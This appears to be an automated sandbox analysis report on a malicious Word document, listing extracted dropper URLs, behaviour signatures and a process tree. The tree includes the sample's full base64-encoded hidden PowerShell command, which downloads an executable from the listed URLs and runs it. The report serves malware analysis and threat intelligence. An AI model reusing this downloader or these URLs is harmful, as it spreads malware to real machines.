Analysis
-
max time kernel
148s -
resource
win10v191014 -
submitted
01-01-2020 05:06
Task
task1
Sample
VTDL32be68dafd336fa9425b3602fbb4e33e.danger.doc
Resource
win7v191014
0 signatures
Task
task2
Sample
VTDL32be68dafd336fa9425b3602fbb4e33e.danger.doc
Resource
win10v191014
0 signatures
General
-
Target
Malware Samples(2).zip
-
Sample
200101-1dghyjegsn
-
SHA256
560d99887286ea550542c684b208ab356394e22d45571c64765653543fbf1dd3
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://lilikhendarwati.com/wp-admin/JbdTQoQQ/
exe.dropper
http://www.zhangboo.com/wp-admin/lwhcvV/
exe.dropper
http://test.windsorheatingandair.com/wp-includes/r9lv-4teq5ff-8759846140/
exe.dropper
https://www.jackiejill.com/wp-includes/yiqr4r6a-dwt7s0u-26965878/
exe.dropper
http://apolina.pl/engl/1tuh6ul-gakf89-994/
Signatures
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4988 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4988 WINWORD.EXE -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4988 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4668 5052 Powershell.exe 73 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4668 Powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 4668 Powershell.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\VTDL32be68dafd336fa9425b3602fbb4e33e.danger.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:4988
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABPAHEAbwBqAHIAcABtAGsAZAB6AGwAZwA9ACcARwBlAHUAcwBjAGsAZgBlAGkAcwBsAGgAJwA7ACQAUwBnAHkAbgBhAGQAdABkAHoAaQAgAD0AIAAnADIAMQA4ACcAOwAkAEYAcwBuAGMAagBmAGIAbgBvAHUAdgBjAHcAPQAnAFYAcgB0AGcAdwBvAGoAaABnAHIAcQBrACcAOwAkAEkAcwB2AGUAZgB0AHMAYwB5AG0AawBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAGcAeQBuAGEAZAB0AGQAegBpACsAJwAuAGUAeABlACcAOwAkAFkAawBqAHoAbQB4AGcAeQBlAGsAcABmAD0AJwBYAGgAaABpAHYAcAB4AHQAbgAnADsAJABQAGQAegB2AGUAdgBiAGgAZQBzAD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAFcAZQBiAGMATABpAEUAbgBUADsAJABNAHYAYwBiAGwAcgBoAGsAegBvAHoAZwA9ACcAaAB0AHQAcABzADoALwAvAGwAaQBsAGkAawBoAGUAbgBkAGEAcgB3AGEAdABpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBKAGIAZABUAFEAbwBRAFEALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB6AGgAYQBuAGcAYgBvAG8ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGwAdwBoAGMAdgBWAC8AKgBoAHQAdABwADoALwAvAHQAZQBzAHQALgB3AGkAbgBkAHMAbwByAGgAZQBhAHQAaQBuAGcAYQBuAGQAYQBpAHIALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHIAOQBsAHYALQA0AHQAZQBxADUAZgBmAC0AOAA3ADUAOQA4ADQANgAxADQAMAAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AagBhAGMAawBpAGUAagBpAGwAbAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AeQBpAHEAcgA0AHIANgBhAC0AZAB3AHQANwBzADAAdQAtADIANgA5ADYANQA4ADcAOAAvACoAaAB0AHQAcAA6AC8ALwBhAHAAbwBsAGkAbgBhAC4AcABsAC8AZQBuAGcAbAAvADEAdAB1AGgANgB1AGwALQBnAGEAawBmADgAOQAtADkAOQA0AC8AJwAuACIAcwBgAHAATABJAFQAIgAoACcAKgAnACkAOwAkAEoAdgBrAGgAawB0AHYAdABzAHEAagA9ACcASwBsAG0AdwBuAGkAcgByACcAOwBmAG8AcgBlAGEAYwBoACgAJABNAHoAbQBxAGIAegBqAHUAZwAgAGkAbgAgACQATQB2AGMAYgBsAHIAaABrAHoAbwB6AGcAKQB7AHQAcgB5AHsAJABQAGQAegB2AGUAdgBiAGgAZQBzAC4AIgBkAG8AYABXAG4AbABgAE8AQQBkAGYASQBMAEUAIgAoACQATQB6AG0AcQBiAHoAagB1AGcALAAgACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQA7ACQASwB5AGsAaABvAHMAeABlAD0AJwBKAGMAYwB2AHIAdQByAHQAbQB5ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQAuACIAbABFAG4AYABHAHQAaAAiACAALQBnAGUAIAAzADEANAA1ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAGEAYABSAFQAIgAoACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQA7ACQARAB5AGsAZABhAGcAZQBpAHkAawByAGEAaQA9ACcARwBhAHUAbABuAGEAdABoAGoAcQAnADsAYgByAGUAYQBrADsAJABSAHgAZgBhAHAAdwBjAGcAaQBlAHAAdwA9ACcAQwBsAHMAawB2AGkAdQBmAG0AbABkAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwByAGEAbQB1AG4AbgBrAHMAawBjAGUAPQAnAEQAYgBsAHgAbgB2AHkAaABwAHkAdgB4ACcA1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4668